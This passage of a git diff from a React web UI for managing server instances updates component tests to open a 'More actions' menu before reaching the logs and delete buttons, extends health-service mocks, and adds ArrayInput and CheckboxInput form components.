@@ -102,7 +106,7 @@ afterEach(() => {
 
     it('opens logs dialog when logs button clicked', async () => {
       const user = userEvent.setup()
-      
+
       render(
         <InstanceCard
           instance={stoppedInstance}
@@ -113,9 +117,13 @@ afterEach(() => {
         />
       )
 
+      // First click "More actions" to reveal the logs button
+      const moreActionsButton = screen.getByTitle('More actions')
+      await user.click(moreActionsButton)
+
       const logsButton = screen.getByTitle('View logs')
       await user.click(logsButton)
-      
+
       // Should open logs dialog (we can verify this by checking if dialog title appears)
       expect(screen.getByText(`Logs: ${stoppedInstance.name}`)).toBeInTheDocument()
     })
@@ -125,7 +133,7 @@ afterEach(() => {
     it('shows confirmation dialog and calls deleteInstance when confirmed', async () => {
       const user = userEvent.setup()
       const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(true)
-      
+
       render(
         <InstanceCard
           instance={stoppedInstance}
@@ -136,19 +144,23 @@ afterEach(() => {
         />
       )
 
+      // First click "More actions" to reveal the delete button
+      const moreActionsButton = screen.getByTitle('More actions')
+      await user.click(moreActionsButton)
+
       const deleteButton = screen.getByTitle('Delete instance')
       await user.click(deleteButton)
-      
+
       expect(confirmSpy).toHaveBeenCalledWith('Are you sure you want to delete instance "test-instance"?')
       expect(mockDeleteInstance).toHaveBeenCalledWith('test-instance')
-      
+
       confirmSpy.mockRestore()
     })
 
     it('does not call deleteInstance when confirmation cancelled', async () => {
       const user = userEvent.setup()
       const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(false)
-      
+
       render(
         <InstanceCard
           instance={stoppedInstance}
@@ -159,18 +171,24 @@ afterEach(() => {
         />
       )
 
+      // First click "More actions" to reveal the delete button
+      const moreActionsButton = screen.getByTitle('More actions')
+      await user.click(moreActionsButton)
+
       const deleteButton = screen.getByTitle('Delete instance')
       await user.click(deleteButton)
-      
+
       expect(confirmSpy).toHaveBeenCalled()
       expect(mockDeleteInstance).not.toHaveBeenCalled()
-      
+
       confirmSpy.mockRestore()
     })
   })
 
   describe('Button State Based on Instance Status', () => {
-    it('disables start button and enables stop button for running instance', () => {
+    it('disables start button and enables stop button for running instance', async () => {
+      const user = userEvent.setup()
+
       render(
         <InstanceCard
           instance={runningInstance}
@@ -181,12 +199,19 @@ afterEach(() => {
         />
       )
 
-      expect(screen.getByTitle('Start instance')).toBeDisabled()
+      expect(screen.queryByTitle('Start instance')).not.toBeInTheDocument()
       expect(screen.getByTitle('Stop instance')).not.toBeDisabled()
+
+      // Expand more actions to access delete button
+      const moreActionsButton = screen.getByTitle('More actions')
+      await user.click(moreActionsButton)
+
       expect(screen.getByTitle('Delete instance')).toBeDisabled() // Can't delete running instance
     })
 
-    it('enables start button and disables stop button for stopped instance', () => {
+    it('enables start button and disables stop button for stopped instance', async () => {
+      const user = userEvent.setup()
+
       render(
         <InstanceCard
           instance={stoppedInstance}
@@ -198,11 +223,18 @@ afterEach(() => {
       )
 
       expect(screen.getByTitle('Start instance')).not.toBeDisabled()
-      expect(screen.getByTitle('Stop instance')).toBeDisabled()
+      expect(screen.queryByTitle('Stop instance')).not.toBeInTheDocument()
+
+      // Expand more actions to access delete button
+      const moreActionsButton = screen.getByTitle('More actions')
+      await user.click(moreActionsButton)
+
       expect(screen.getByTitle('Delete instance')).not.toBeDisabled() // Can delete stopped instance
     })
 
-    it('edit and logs buttons are always enabled', () => {
+    it('edit and logs buttons are always enabled', async () => {
+      const user = userEvent.setup()
+
       render(
         <InstanceCard
           instance={runningInstance}
@@ -214,6 +246,11 @@ afterEach(() => {
       )
 
       expect(screen.getByTitle('Edit instance')).not.toBeDisabled()
+
+      // Expand more actions to access logs button
+      const moreActionsButton = screen.getByTitle('More actions')
+      await user.click(moreActionsButton)
+
       expect(screen.getByTitle('View logs')).not.toBeDisabled()
     })
   })
@@ -268,7 +305,7 @@ afterEach(() => {
   describe('Integration with LogsModal', () => {
     it('passes correct props to LogsModal', async () => {
       const user = userEvent.setup()
-      
+
       render(
         <InstanceCard
           instance={runningInstance}
@@ -279,20 +316,24 @@ afterEach(() => {
         />
       )
 
+      // First click "More actions" to reveal the logs button
+      const moreActionsButton = screen.getByTitle('More actions')
+      await user.click(moreActionsButton)
+
       // Open logs dialog
       await user.click(screen.getByTitle('View logs'))
-      
+
       // Verify dialog opened with correct instance data
       expect(screen.getByText('Logs: running-instance')).toBeInTheDocument()
-      
+
       // Close dialog to test close functionality
       const closeButtons = screen.getAllByText('Close')
-      const dialogCloseButton = closeButtons.find(button => 
+      const dialogCloseButton = closeButtons.find(button =>
         button.closest('[data-slot="dialog-content"]')
       )
       expect(dialogCloseButton).toBeTruthy()
       await user.click(dialogCloseButton!)
-      
+
       // Modal should close
       expect(screen.queryByText('Logs: running-instance')).not.toBeInTheDocument()
     })

webui/src/components/__tests__/InstanceList.test.tsx

@@ -12,12 +12,14 @@ import { AuthProvider } from '@/contexts/AuthContext'
 vi.mock('@/lib/api', () => ({
   instancesApi: {
     list: vi.fn(),
+    get: vi.fn(),
     create: vi.fn(),
     update: vi.fn(),
     start: vi.fn(),
     stop: vi.fn(),
     restart: vi.fn(),
     delete: vi.fn(),
+    getHealth: vi.fn(),
   }
 }))
 
@@ -25,9 +27,21 @@ vi.mock('@/lib/api', () => ({
 vi.mock('@/lib/healthService', () => ({
   healthService: {
     subscribe: vi.fn(() => () => {}),
-    checkHealth: vi.fn(),
+    refreshHealth: vi.fn(() => Promise.resolve()),
+    checkHealthAfterOperation: vi.fn(),
+    performHealthCheck: vi.fn(() => Promise.resolve({
+      state: 'ready',
+      instanceStatus: 'running',
+      lastChecked: new Date(),
+      source: 'http'
+    })),
   },
-  checkHealth: vi.fn(),
+  checkHealth: vi.fn(() => Promise.resolve({
+    state: 'ready',
+    instanceStatus: 'running',
+    lastChecked: new Date(),
+    source: 'http'
+  })),
 }))
 
 function renderInstanceList(editInstance = vi.fn()) {

webui/src/components/__tests__/InstanceModal.test.tsx

@@ -280,29 +280,6 @@ afterEach(() => {
     })
   })
 
-  describe('Advanced Fields Toggle', () => {
-    it('shows advanced fields when toggle clicked', async () => {
-      const user = userEvent.setup()
-      
-      render(
-        <InstanceDialog
-          open={true}
-          onOpenChange={mockOnOpenChange}
-          onSave={mockOnSave}
-        />
-      )
-
-      // Advanced fields should be hidden initially
-      expect(screen.queryByText(/Advanced Configuration/)).toBeInTheDocument()
-      
-      // Click to expand
-      await user.click(screen.getByText(/Advanced Configuration/))
-
-      // Should show more configuration options
-      // Note: Specific fields depend on zodFormUtils configuration
-      // We're testing the toggle behavior, not specific fields
-    })
-  })
 
   describe('Form Data Handling', () => {
     it('cleans up undefined values before submission', async () => {

webui/src/components/form/ArrayInput.tsx

@@ -0,0 +1,62 @@
+import React from 'react'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+
+interface ArrayInputProps {
+  id: string
+  label: string
+  value: string[] | undefined
+  onChange: (value: string[] | undefined) => void
+  placeholder?: string
+  description?: string
+  disabled?: boolean
+  className?: string
+}
+
+const ArrayInput: React.FC<ArrayInputProps> = ({
+  id,
+  label,
+  value,
+  onChange,
+  placeholder = "item1, item2, item3",
+  description,
+  disabled = false,
+  className
+}) => {
+  const handleChange = (inputValue: string) => {
+    if (inputValue === '') {
+      onChange(undefined)
+      return
+    }
+
+    const arrayValue = inputValue
+      .split(',')
+      .map(s => s.trim())
+      .filter(Boolean)
+
+    onChange(arrayValue.length > 0 ? arrayValue : undefined)
+  }
+
+  return (
+    <div className="grid gap-2">
+      <Label htmlFor={id}>
+        {label}
+      </Label>
+      <Input
+        id={id}
+        type="text"
+        value={Array.isArray(value) ? value.join(', ') : ''}
+        onChange={(e) => handleChange(e.target.value)}
+        placeholder={placeholder}
+        disabled={disabled}
+        className={className}
+      />
+      {description && (
+        <p className="text-sm text-muted-foreground">{description}</p>
+      )}
+      <p className="text-xs text-muted-foreground">Separate multiple values with commas</p>
+    </div>
+  )
+}
+
+export default ArrayInput

webui/src/components/form/CheckboxInput.tsx

@@ -0,0 +1,42 @@
+import React from 'react'
+import { Checkbox } from '@/components/ui/checkbox'
+import { Label } from '@/components/ui/label'
+
+interface CheckboxInputProps {
+  id: string
+  label: string
+  value: boolean | undefined
+  onChange: (value: boolean) => void
+  description?: string
+  disabled?: boolean
+  className?: string
+}
+
+const CheckboxInput: React.FC<CheckboxInputProps> = ({
+  id,
+  label,
+  value,
+  onChange,
+  description,
+  disabled = false,
+  className
+}) => {
+  return (
+    <div className={`flex items-center space-x-2 ${className || ''}`}>
+      <Checkbox
+        id={id}
+        checked={value === true}
+        onCheckedChange={(checked) => onChange(!!checked)}
+        disabled={disabled}
+      />
+      <Label htmlFor={id} className="text-sm font-normal">
+        {label}
+        {description && (
+          <span className="text-muted-foreground ml-1">- {description}</span>
+        )}
+      </Label>
+    </div>
+  )
+}
+
+export default CheckboxInput